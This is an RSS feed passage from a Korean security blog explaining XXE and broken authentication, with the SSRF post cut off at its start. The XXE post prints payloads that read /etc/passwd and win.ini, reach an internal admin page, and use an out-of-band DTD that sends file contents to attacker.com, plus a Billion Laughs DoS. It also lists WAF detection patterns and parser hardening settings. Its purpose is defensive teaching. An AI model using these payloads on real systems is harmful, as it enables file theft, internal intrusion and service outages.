&lt;div&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;Set&lt;/span&gt;&lt;/span&gt;&lt;span&gt;-Cookie: &lt;/span&gt;&lt;span&gt;&lt;span&gt;session&lt;/span&gt;&lt;/span&gt;&lt;span&gt;=xyz; Secure; HttpOnly; SameSite=Lax &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;h3 data-end=&quot;2047&quot; data-start=&quot;2029&quot; data-ke-size=&quot;size23&quot;&gt;✔ 세션 타임아웃 설정&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;2060&quot; data-start=&quot;2048&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;2060&quot; data-start=&quot;2048&quot;&gt;일정 시간 후 만료&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;2065&quot; data-start=&quot;2062&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-end=&quot;2094&quot; data-start=&quot;2067&quot; data-ke-size=&quot;size26&quot;&gt;  C. 취약한 비밀번호 재설정 기능 방지&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;2172&quot; data-start=&quot;2096&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;2115&quot; data-start=&quot;2096&quot;&gt;토큰 랜덤 길이 32바이트 이상&lt;/li&gt;
&lt;li data-end=&quot;2130&quot; data-start=&quot;2116&quot;&gt;10~30분 이내 만료&lt;/li&gt;
&lt;li data-end=&quot;2143&quot; data-start=&quot;2131&quot;&gt;단일 사용 후 삭제&lt;/li&gt;
&lt;li data-end=&quot;2172&quot; data-start=&quot;2144&quot;&gt;동일 이메일 요청시 의도치 않은 정보 노출 방지&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;2177&quot; data-start=&quot;2174&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;2195&quot; data-start=&quot;2179&quot;&gt;  &lt;b&gt;한 문장 요약&lt;/b&gt;&lt;/h1&gt;
&lt;p data-end=&quot;2321&quot; data-start=&quot;2196&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Broken Authentication = 취약한 인증/세션 관리로 인해 공격자가 사용자 계정을 탈취하거나 인증을 우회할 수 있는 모든 문제를 말하며, 비밀번호 정책&amp;middot;세션 관리&amp;middot;로그인 보호 기능 강화로 방어해야 한다.&lt;/b&gt;&lt;/p&gt;</description>
      <category>2. 보안/2. 보안 관제</category>
      <author>isaacToast</author>
      <guid isPermaLink="true">https://toastfactory.tistory.com/346</guid>
      <comments>https://toastfactory.tistory.com/346#entry346comment</comments>
      <pubDate>Fri, 14 Nov 2025 11:21:11 +0900</pubDate>
    </item>
    <item>
      <title>[보안_GPT] XXE(XML External Entity)란?</title>
      <link>https://toastfactory.tistory.com/345</link>
      <description>&lt;p data-end=&quot;129&quot; data-start=&quot;0&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;XXE(XML External Entity)&lt;/b&gt; 취약점을 정리해줄게.&lt;br /&gt;항상처럼 &lt;b&gt;개념 &amp;rarr; 공격 원리 &amp;rarr; 공격 예시 &amp;rarr; 공격 목표 &amp;rarr; 대응 방법(WAF/개발)&lt;/b&gt; 순서로 설명할게.&lt;/p&gt;
&lt;hr data-end=&quot;134&quot; data-start=&quot;131&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;174&quot; data-start=&quot;136&quot;&gt;  &lt;b&gt;1. XXE(XML External Entity)란?&lt;/b&gt;&lt;/h1&gt;
&lt;p data-end=&quot;299&quot; data-start=&quot;176&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;정의:&lt;/b&gt;&lt;br /&gt;XXE는 XML 파서가 외부 엔티티(External Entity)를 허용할 때, 공격자가 악의적인 엔티티를 삽입하여 &lt;b&gt;서버 내부 파일을 읽거나, 내부망 요청을 보내거나, DoS를 일으키는 공격&lt;/b&gt;이야.&lt;/p&gt;
&lt;p data-end=&quot;308&quot; data-start=&quot;301&quot; data-ke-size=&quot;size16&quot;&gt;쉽게 말하면:&lt;/p&gt;
&lt;p data-end=&quot;361&quot; data-start=&quot;310&quot; data-ke-size=&quot;size16&quot;&gt;  &lt;b&gt;XML 안에 몰래 &amp;ldquo;내부 파일 읽어!&amp;rdquo; 같은 명령을 넣어서 서버에게 시키는 공격&lt;/b&gt;&lt;/p&gt;
&lt;hr data-end=&quot;366&quot; data-start=&quot;363&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;385&quot; data-start=&quot;368&quot;&gt;  &lt;b&gt;2. 공격 원리&lt;/b&gt;&lt;/h1&gt;
&lt;p data-end=&quot;409&quot; data-start=&quot;387&quot; data-ke-size=&quot;size16&quot;&gt;서버가 다음과 같을 때 공격이 가능해짐:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;490&quot; data-start=&quot;411&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;427&quot; data-start=&quot;411&quot;&gt;XML을 받아서 처리한다.&lt;/li&gt;
&lt;li data-end=&quot;477&quot; data-start=&quot;428&quot;&gt;XML Parser에서 **외부 엔티티(External Entity)**를 허용한다.&lt;/li&gt;
&lt;li data-end=&quot;490&quot; data-start=&quot;478&quot;&gt;입력 검증이 없다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;495&quot; data-start=&quot;492&quot; data-ke-size=&quot;size16&quot;&gt;구조:&lt;/p&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&amp;lt;!DOCTYPE &lt;span&gt;root&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt; [ &lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;lt;!ENTITY &lt;span&gt;xxe&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;SYSTEM&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;&quot;file:///etc/passwd&quot;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&amp;gt; ]&amp;gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;lt;&lt;span&gt;root&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&amp;gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;amp;xxe;&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;lt;/&lt;span&gt;root&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&amp;gt; &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p data-end=&quot;653&quot; data-start=&quot;595&quot; data-ke-size=&quot;size16&quot;&gt;서버가 이 XML을 파싱 &amp;rarr; file:///etc/passwd 내용을 읽어서 XML에 넣음 &amp;rarr; 유출!&lt;/p&gt;
&lt;hr data-end=&quot;658&quot; data-start=&quot;655&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;680&quot; data-start=&quot;660&quot;&gt;  &lt;b&gt;3. 실무 공격 예시&lt;/b&gt;&lt;/h1&gt;
&lt;h2 data-end=&quot;701&quot; data-start=&quot;682&quot; data-ke-size=&quot;size26&quot;&gt;✔ 1) 서버 내부 파일 읽기&lt;/h2&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&amp;lt;!DOCTYPE &lt;span&gt;data&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt; [ &lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;lt;!ENTITY &lt;span&gt;file&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;SYSTEM&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;&quot;file:///etc/passwd&quot;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&amp;gt; ]&amp;gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;lt;&lt;span&gt;data&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;amp;file;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;lt;/&lt;span&gt;data&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&amp;gt; &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p data-end=&quot;836&quot; data-start=&quot;800&quot; data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 서버가 /etc/passwd 내용을 클라이언트에게 돌려줌.&lt;/p&gt;
&lt;hr data-end=&quot;841&quot; data-start=&quot;838&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-end=&quot;867&quot; data-start=&quot;843&quot; data-ke-size=&quot;size26&quot;&gt;✔ 2) SSRF 유발 (내부망 요청)&lt;/h2&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&amp;lt;!DOCTYPE &lt;span&gt;foo&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt; [ &lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;lt;!ENTITY &lt;span&gt;xxe&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;SYSTEM&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;&quot;http://127.0.0.1:8080/admin&quot;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&amp;gt; ]&amp;gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;lt;&lt;span&gt;foo&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;amp;xxe;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;lt;/&lt;span&gt;foo&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&amp;gt; &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p data-end=&quot;987&quot; data-start=&quot;969&quot; data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 내부 관리 페이지 접속 가능.&lt;/p&gt;
&lt;hr data-end=&quot;992&quot; data-start=&quot;989&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-end=&quot;1015&quot; data-start=&quot;994&quot; data-ke-size=&quot;size26&quot;&gt;✔ 3) Windows 파일 읽기&lt;/h2&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&amp;lt;!DOCTYPE &lt;span&gt;foo&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt; [ &lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;lt;!ENTITY &lt;span&gt;xxe&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;SYSTEM&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;&quot;file:///C:/Windows/win.ini&quot;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&amp;gt; ]&amp;gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;lt;&lt;span&gt;foo&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;amp;xxe;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;lt;/&lt;span&gt;foo&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&amp;gt; &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;hr data-end=&quot;1119&quot; data-start=&quot;1116&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-end=&quot;1149&quot; data-start=&quot;1121&quot; data-ke-size=&quot;size26&quot;&gt;✔ 4) OOB(Out-of-band) XXE&lt;/h2&gt;
&lt;p data-end=&quot;1189&quot; data-start=&quot;1150&quot; data-ke-size=&quot;size16&quot;&gt;파일 내용이 서버에서 직접 리턴되지 않아도, 공격자 서버로 전송 가능.&lt;/p&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&amp;lt;!DOCTYPE &lt;span&gt;xxe&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt; [ &lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;lt;!ENTITY % d &lt;span&gt;SYSTEM&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;&quot;&lt;a href=&quot;http://attacker.com/malicious.dtd&quot;&gt;http://attacker.com/malicious.dtd&lt;/a&gt;&quot;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&amp;gt; %d; ]&amp;gt; &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p data-end=&quot;1298&quot; data-start=&quot;1287&quot; data-ke-size=&quot;size16&quot;&gt;공격자 DTD 파일:&lt;/p&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&amp;lt;!ENTITY % &lt;span&gt;send&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;SYSTEM&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;&quot;&lt;a href=&quot;http://attacker.com/?dump=%file;&quot;&gt;http://attacker.com/?dump=%file;&lt;/a&gt;&quot;&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &amp;gt; %send; &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p data-end=&quot;1402&quot; data-start=&quot;1378&quot; data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 서버 내부 파일이 공격자 서버로 전송됨.&lt;/p&gt;
&lt;hr data-end=&quot;1407&quot; data-start=&quot;1404&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-end=&quot;1447&quot; data-start=&quot;1409&quot; data-ke-size=&quot;size26&quot;&gt;✔ 5) DoS 공격 (Billion Laughs Attack)&lt;/h2&gt;
&lt;p data-end=&quot;1475&quot; data-start=&quot;1449&quot; data-ke-size=&quot;size16&quot;&gt;XML 엔티티를 폭발적으로 확장하게 하는 공격:&lt;/p&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&amp;lt;!DOCTYPE &lt;span&gt;lolz&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt; [ &lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;lt;!ENTITY a &lt;span&gt;&quot;lol&quot;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&amp;gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;lt;!ENTITY b &lt;span&gt;&quot;&amp;amp;a;&amp;amp;a;&amp;amp;a;&amp;amp;a;&amp;amp;a;&amp;amp;a;&amp;amp;a;&amp;amp;a;&amp;amp;a;&amp;amp;a;&quot;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&amp;gt; ]&amp;gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;lt;&lt;span&gt;lolz&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;amp;b;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;lt;/&lt;span&gt;lolz&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&amp;gt; &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p data-end=&quot;1615&quot; data-start=&quot;1590&quot; data-ke-size=&quot;size16&quot;&gt;&amp;rarr; XML 파서가 메모리 폭주 &amp;rarr; 서버 다운.&lt;/p&gt;
&lt;hr data-end=&quot;1620&quot; data-start=&quot;1617&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;1647&quot; data-start=&quot;1622&quot;&gt;  &lt;b&gt;4. 공격자가 할 수 있는 일&lt;/b&gt;&lt;/h1&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1725&quot; data-start=&quot;1649&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1659&quot; data-start=&quot;1649&quot;&gt;내부 파일 읽기&lt;/li&gt;
&lt;li data-end=&quot;1675&quot; data-start=&quot;1660&quot;&gt;내부망 스캐닝(SSRF)&lt;/li&gt;
&lt;li data-end=&quot;1691&quot; data-start=&quot;1676&quot;&gt;DB/관리자 페이지 접근&lt;/li&gt;
&lt;li data-end=&quot;1702&quot; data-start=&quot;1692&quot;&gt;민감 정보 탈취&lt;/li&gt;
&lt;li data-end=&quot;1716&quot; data-start=&quot;1703&quot;&gt;서버 메타데이터 접근&lt;/li&gt;
&lt;li data-end=&quot;1725&quot; data-start=&quot;1717&quot;&gt;DoS 공격&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;1765&quot; data-start=&quot;1727&quot; data-ke-size=&quot;size16&quot;&gt;&amp;rarr; &lt;b&gt;웹 애플리케이션의 로컬 권한을 거의 그대로 사용할 수 있음&lt;/b&gt;&lt;/p&gt;
&lt;hr data-end=&quot;1770&quot; data-start=&quot;1767&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;1801&quot; data-start=&quot;1772&quot;&gt;  &lt;b&gt;5. WAF / 보안관제 대응 포인트&lt;/b&gt;&lt;/h1&gt;
&lt;h3 data-end=&quot;1828&quot; data-start=&quot;1803&quot; data-ke-size=&quot;size23&quot;&gt;✔ 1) XML 내부에 아래 패턴 탐지&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1929&quot; data-start=&quot;1829&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1842&quot; data-start=&quot;1829&quot;&gt;&amp;lt;!DOCTYPE&lt;/li&gt;
&lt;li data-end=&quot;1855&quot; data-start=&quot;1843&quot;&gt;&amp;lt;!ENTITY&lt;/li&gt;
&lt;li data-end=&quot;1866&quot; data-start=&quot;1856&quot;&gt;SYSTEM&lt;/li&gt;
&lt;li data-end=&quot;1877&quot; data-start=&quot;1867&quot;&gt;PUBLIC&lt;/li&gt;
&lt;li data-end=&quot;1889&quot; data-start=&quot;1878&quot;&gt;file://&lt;/li&gt;
&lt;li data-end=&quot;1910&quot; data-start=&quot;1890&quot;&gt;http://127.0.0.1&lt;/li&gt;
&lt;li data-end=&quot;1929&quot; data-start=&quot;1911&quot;&gt;php://filter 등&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-end=&quot;1950&quot; data-start=&quot;1931&quot; data-ke-size=&quot;size23&quot;&gt;✔ 2) OOB XXE 탐지&lt;/h3&gt;
&lt;p data-end=&quot;1988&quot; data-start=&quot;1951&quot; data-ke-size=&quot;size16&quot;&gt;서버가 갑자기 외부 IP로 XML 요청을 보내는 이상행위 모니터링.&lt;/p&gt;
&lt;h3 data-end=&quot;2007&quot; data-start=&quot;1990&quot; data-ke-size=&quot;size23&quot;&gt;✔ 3) 응답 패턴 분석&lt;/h3&gt;
&lt;p data-end=&quot;2053&quot; data-start=&quot;2008&quot; data-ke-size=&quot;size16&quot;&gt;응답에 /etc/passwd, root:x:0:0: 등이 포함되면 고위험.&lt;/p&gt;
&lt;hr data-end=&quot;2058&quot; data-start=&quot;2055&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;2080&quot; data-start=&quot;2060&quot;&gt;  &lt;b&gt;6. 개발 단계 방어&lt;/b&gt;&lt;/h1&gt;
&lt;h3 data-end=&quot;2111&quot; data-start=&quot;2082&quot; data-ke-size=&quot;size23&quot;&gt;✔ 1) 외부 엔티티 사용 금지 (가장 중요)&lt;/h3&gt;
&lt;p data-end=&quot;2140&quot; data-start=&quot;2112&quot; data-ke-size=&quot;size16&quot;&gt;XML Parser 설정에서 외부 엔티티 비활성화.&lt;/p&gt;
&lt;p data-end=&quot;2149&quot; data-start=&quot;2142&quot; data-ke-size=&quot;size16&quot;&gt;예: Java&lt;/p&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&lt;span&gt;factory.setFeature(&lt;/span&gt;&lt;span&gt;&lt;span&gt;&quot;&lt;a href=&quot;http://xml.org/sax/features/external-general-entities&quot;&gt;http://xml.org/sax/features/external-general-entities&lt;/a&gt;&quot;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;&lt;span&gt;false&lt;/span&gt;&lt;/span&gt;&lt;span&gt;); factory.setFeature(&lt;/span&gt;&lt;span&gt;&lt;span&gt;&quot;&lt;a href=&quot;http://apache.org/xml/features/disallow-doctype-decl&quot;&gt;http://apache.org/xml/features/disallow-doctype-decl&lt;/a&gt;&quot;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;&lt;span&gt;true&lt;/span&gt;&lt;/span&gt;&lt;span&gt;); &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p data-end=&quot;2342&quot; data-start=&quot;2329&quot; data-ke-size=&quot;size16&quot;&gt;Python (lxml)&lt;/p&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;from&lt;/span&gt;&lt;/span&gt;&lt;span&gt; lxml &lt;/span&gt;&lt;span&gt;&lt;span&gt;import&lt;/span&gt;&lt;/span&gt;&lt;span&gt; etree parser = etree.XMLParser(resolve_entities=&lt;/span&gt;&lt;span&gt;&lt;span&gt;False&lt;/span&gt;&lt;/span&gt;&lt;span&gt;) &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;hr data-end=&quot;2433&quot; data-start=&quot;2430&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-end=&quot;2460&quot; data-start=&quot;2435&quot; data-ke-size=&quot;size23&quot;&gt;✔ 2) DOCTYPE 선언 자체 차단&lt;/h3&gt;
&lt;p data-end=&quot;2494&quot; data-start=&quot;2462&quot; data-ke-size=&quot;size16&quot;&gt;XML 입력에서 &amp;lt;!DOCTYPE 등장하면 에러 처리.&lt;/p&gt;
&lt;hr data-end=&quot;2499&quot; data-start=&quot;2496&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-end=&quot;2528&quot; data-start=&quot;2501&quot; data-ke-size=&quot;size23&quot;&gt;✔ 3) JSON으로 전환 (가능한 경우)&lt;/h3&gt;
&lt;p data-end=&quot;2565&quot; data-start=&quot;2530&quot; data-ke-size=&quot;size16&quot;&gt;최근 API는 XML 대신 JSON 사용 &amp;rarr; XXE 위험 감소.&lt;/p&gt;
&lt;hr data-end=&quot;2570&quot; data-start=&quot;2567&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-end=&quot;2593&quot; data-start=&quot;2572&quot; data-ke-size=&quot;size23&quot;&gt;✔ 4) 파일 접근 권한 최소화&lt;/h3&gt;
&lt;p data-end=&quot;2628&quot; data-start=&quot;2595&quot; data-ke-size=&quot;size16&quot;&gt;웹 서버 계정이 민감 파일을 읽지 못하도록 chmod 제한.&lt;/p&gt;
&lt;hr data-end=&quot;2633&quot; data-start=&quot;2630&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;2651&quot; data-start=&quot;2635&quot;&gt;  &lt;b&gt;한 문장 요약&lt;/b&gt;&lt;/h1&gt;
&lt;p data-end=&quot;2731&quot; data-start=&quot;2652&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;XXE = XML 파서가 외부 엔티티를 허용할 때 발생하는 취약점으로, 내부 파일 읽기&amp;middot;내부망 접속&amp;middot;DoS까지 가능한 고위험 공격이다.&lt;/b&gt;&lt;/p&gt;</description>
      <category>2. 보안/2. 보안 관제</category>
      <author>isaacToast</author>
      <guid isPermaLink="true">https://toastfactory.tistory.com/345</guid>
      <comments>https://toastfactory.tistory.com/345#entry345comment</comments>
      <pubDate>Fri, 14 Nov 2025 11:20:02 +0900</pubDate>
    </item>
    <item>
      <title>[보안_GPT] SSRF(Server-Side Request Forgery)란?</title>
      <link>https://toastfactory.tistory.com/344</link>
      <description>&lt;p data-end=&quot;81&quot; data-start=&quot;0&quot; data-ke-size=&quot;size16&quot;&gt;**SSRF(Server-Side Request Forgery)**를 실무 중심으로 정리해줄게.&lt;/p&gt;
&lt;hr data-end=&quot;86&quot; data-start=&quot;83&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;135&quot; data-start=&quot;88&quot;&gt;  &lt;b&gt;1. SSRF(Server-Side Request Forgery)란?&lt;/b&gt;&lt;/h1&gt;
&lt;p data-end=&quot;198&quot; data-start=&quot;137&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;정의:&lt;/b&gt;&lt;br /&gt;SSRF는 &lt;b&gt;공격자가 서버 내부에서 임의의 URL로 요청을 보내도록 강제하는 공격&lt;/b&gt;이야.&lt;/p&gt;
&lt;p data-end=&quot;207&quot; data-start=&quot;200&quot; data-ke-size=&quot;size16&quot;&gt;쉽게 말하면:&lt;/p&gt;
&lt;p data-end=&quot;253&quot; data-start=&quot;209&quot; data-ke-size=&quot;size16&quot;&gt;  &amp;ldquo;&lt;b&gt;사용자 대신 서버가 요청을 보내게 만들어 내부망을 공격하는 기술&lt;/b&gt;&amp;rdquo;&lt;/p&gt;
&lt;p data-end=&quot;357&quot; data-start=&quot;255&quot; data-ke-size=&quot;size16&quot;&gt;외부에서 직접 접근할 수 없는 &lt;b&gt;내부 네트워크(127.0.0.1, 10.x.x.x 등)&lt;/b&gt; 또는 **메타데이터 서버(클라우드 계정 정보)**를 공격할 수 있다는 점에서 매우 위험해.&lt;/p&gt;
&lt;hr data-end=&quot;362&quot; data-start=&quot;359&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;381&quot; data-start=&quot;364&quot;&gt;  &lt;b&gt;2. 공격 원리&lt;/b&gt;&lt;/h1&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;[사용자 입력: URL]&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &amp;rarr; &lt;/span&gt;&lt;span&gt;&lt;span&gt;[서버가 이를 요청]&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &amp;rarr; &lt;/span&gt;&lt;span&gt;&lt;span&gt;[검증 미비]&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &amp;rarr; 내부망 공격 성공 &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p data-end=&quot;445&quot; data-start=&quot;442&quot; data-ke-size=&quot;size16&quot;&gt;예시:&lt;/p&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;&lt;span&gt;GET /fetch?url=&lt;a href=&quot;http://example.com&quot;&gt;http://example.com&lt;/a&gt; &lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p data-end=&quot;498&quot; data-start=&quot;493&quot; data-ke-size=&quot;size16&quot;&gt;공격자가:&lt;/p&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
